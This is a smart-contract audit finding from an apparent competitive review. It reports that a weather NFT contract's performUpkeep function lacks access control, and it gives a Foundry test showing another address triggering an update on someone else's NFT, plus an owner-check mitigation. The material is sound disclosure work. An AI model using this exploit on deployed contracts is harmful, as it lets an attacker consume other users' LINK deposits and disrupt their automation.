Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`performUpkeep` can be called by anyone, updating any NFT without owner's consent

Root + Impact

Description

The performUpkeep function can be called by any external account, allowing anyone to trigger the update of a weather NFT they do not own. This causes two major issues:

  • The NFT's lastFulfilledAt timestamp is updated without the owner's consent.

  • If the owner relies on the Chainlink automation to update the weather, this can desynchronize the schedule defined by the heartbeat, potentially skipping an actual weather update at the expected time.

This behavior directly affects the NFT's behavior and value, and violates the user’s assumptions about trust and update logic.

@>function performUpkeep(bytes calldata performData) external override {

Risk

Likelihood:

  • This could occur at any time since there is no authorization check, which makes the issue systemic and trivial to exploit.

Impact:

  • The attacker can interferes with the automation mechanism that the user paid for (via LINK deposit).

  • The attacker could intentionally delay or desynchronize NFT updates, effectively DoS-ing the NFT automation.

Proof of Concept

Add the following code to WeatherNftForkTest.t.sol:

The Code
function testUpKeepUpdateOtherUserNft() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
assert(reqId != bytes32(0));
(
uint256 reqHeartbeat,
address reqUser,
bool reqRegisterKeeper,
uint256 reqInitLinkDeposit,
string memory reqPincode,
string memory reqIsoCode
) = weatherNft.s_funcReqIdToUserMintReq(reqId);
assertEq(reqUser, user);
assertEq(reqHeartbeat, heartbeat);
assertEq(reqInitLinkDeposit, initLinkDeposit);
assertEq(reqIsoCode, isoCode);
assertEq(reqPincode, pincode);
assertEq(reqRegisterKeeper, registerKeeper);
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
vm.prank(user);
weatherNft.fulfillMintRequest(reqId);
(
uint256 infoHeartbeat,
uint256 infoLastFulfilledAt,
uint256 infoUpkeepId,
string memory infoPincode,
string memory infoIsoCode
) = weatherNft.s_weatherNftInfo(tokenId);
assertEq(infoHeartbeat, heartbeat);
assertEq(infoIsoCode, isoCode);
assertEq(infoLastFulfilledAt, block.timestamp);
assertEq(infoPincode, pincode);
assert(infoUpkeepId > 0);
assertEq(uint8(weatherNft.s_tokenIdToWeather(tokenId)), uint8(WeatherNftStore.Weather.RAINY));
assertEq(weatherNft.ownerOf(tokenId), user);
// getting token uri
string memory tokenURI = weatherNft.tokenURI(tokenId);
// automation check
bytes memory encodedTokenId = abi.encode(tokenId);
(bool weatherUpdateNeeded, ) = weatherNft.checkUpkeep(encodedTokenId);
assert(weatherUpdateNeeded == false);
// time travelling to reach heartbeat for weather update
vm.warp(block.timestamp + heartbeat);
(bool weatherUpdateNeeded2, bytes memory performData) = weatherNft.checkUpkeep(encodedTokenId);
assertEq(weatherNft.ownerOf(tokenId), user);
// Another user call performUpkeep with the same tokenId
address user2 = makeAddr("user2");
//bytes memory newPerformData = abi.encode(tokenId);
vm.prank(user2);
vm.expectEmit(true, true, false, false);
emit NftWeatherUpdateRequestSend(tokenId, reqId, infoUpkeepId);
weatherNft.performUpkeep(performData);
}
  • A user mints a weather NFT and sets up automation.

  • A different address is able to freely call performUpkeep with the correct performData.

  • The contract emits NftWeatherUpdateRequestSend, proving that the update process was initiated.

This shows that ownership is not checked, and anyone can call performUpkeep for any NFT.

Recommended Mitigation

  • Consider adding a check to the performUpkeep function to verify that the msg.sender is the owner of the NFT

Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `performUpkeep` function

The `performUpkeep` function should be called by the Chainlink keepers or owners of the NFT. But there is no access control and anyone can call the function. This leads to malicious consumption of the user's LINK deposit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.